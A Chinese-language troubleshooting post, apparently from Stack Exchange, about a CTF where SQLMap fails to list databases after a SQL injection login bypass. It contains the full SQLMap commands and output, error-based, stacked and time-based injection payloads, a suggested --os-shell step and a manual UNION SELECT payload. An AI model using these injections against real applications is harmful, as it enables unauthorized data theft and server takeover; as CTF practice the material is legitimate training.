CTF场景下SQLMap无法获取数据库名称，求技术排查帮助

我正在参与一场CTF竞赛，已通过密码字段的手动SQL注入成功登录应用，但使用SQLMap获取更多数据库信息时失败。

使用的SQLMap命令 #

sqlmap -u http://10.150.150.146/reviewer/login/ --method=POST --data "username=admin&password=pass&btn-Login=Log+In" --dbs --no-cast --level 5 --risk 3 --cookie PHPSESSID=0e0933c639dba6d54e816cdfbb19feec

SQLMap输出结果 #

[09:01:59] [INFO] resuming back-end DBMS 'mysql' 
[09:01:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: username=admin&password=pass' OR NOT 4192=4192#&btn-login=Log In

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin&password=pass' AND (SELECT 6862 FROM(SELECT COUNT(*),CONCAT(0x7176787071,(SELECT (ELT(6862=6862,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- MvXZ&btn-login=Log In

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: username=admin&password=pass';SELECT SLEEP(5)#&btn-login=Log In

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin&password=pass' AND (SELECT 5913 FROM (SELECT(SLEEP(5)))doyo)-- mrUr&btn-login=Log In
---
[09:01:59] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 7.4.14
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:01:59] [INFO] fetching database names
[09:01:59] [WARNING] the SQL query provided does not return any output
[09:01:59] [INFO] fetching number of databases
[09:01:59] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:01:59] [INFO] retrieved: 
[09:01:59] [WARNING] time-based comparison requires larger statistical model, please wait......................... (done)                                                                                                                  
[09:02:01] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 

[09:02:01] [ERROR] unable to retrieve the number of databases
[09:02:01] [INFO] falling back to current database
[09:02:01] [INFO] fetching current database
[09:02:01] [INFO] resumed: ''
[09:02:01] [CRITICAL] unable to retrieve the database names
[09:02:01] [INFO] fetched data logged to text files under '/home/hidden/.local/share/sqlmap/output/10.150.150.146'

可能的原因及解决办法 #

• 数据库用户权限不足：CTF场景中，应用数据库用户往往被限制访问INFORMATION_SCHEMA（MySQL存储元数据的系统库）。可以先尝试获取当前数据库名称，再针对性猜解表：

  sqlmap -u http://10.150.150.146/reviewer/login/ --method=POST --data "username=admin&password=pass&btn-Login=Log+In" --current-db --cookie PHPSESSID=0e0933c639dba6d54e816cdfbb19feec
  

  得到当前库后，用--tables -D 当前库名尝试获取表列表。

• 盲注受网络/环境干扰：当前依赖时间盲注，容易因网络延迟导致SQLMap判断错误。可以尝试：

  1. 开启多线程提升效率：添加--threads 5（根据网络情况调整线程数）
  2. 强制使用布尔盲注：添加--technique B（指定仅用布尔盲注）
  3. 启用自动模式：添加--batch让SQLMap自动选择最优选项
     组合命令示例：

  sqlmap -u http://10.150.150.146/reviewer/login/ --method=POST --data "username=admin&password=pass&btn-Login=Log+In" --dbs --threads 5 --technique B --batch --cookie PHPSESSID=0e0933c639dba6d54e816cdfbb19feec
  

• 利用堆叠查询特性：SQLMap检测到目标支持堆叠查询（可以执行多条SQL语句），直接执行自定义查询获取库名：

  sqlmap -u http://10.150.150.146/reviewer/login/ --method=POST --data "username=admin&password=pass&btn-Login=Log+In" --sql-query "SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA" --cookie PHPSESSID=0e0933c639dba6d54e816cdfbb19feec
  

  如果堆叠查询有效，也可以尝试--os-shell直接获取系统权限（若条件允许）。

• 手动注入验证：既然手动注入能登录，直接手动构造Payload验证是否能读取元数据。比如在密码字段输入：

  pass' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM INFORMATION_SCHEMA.SCHEMATA#
  

  观察页面返回内容是否包含数据库名称，确认注入点是否真的能读取数据。

内容的提问来源于stack exchange，提问作者Crouzilles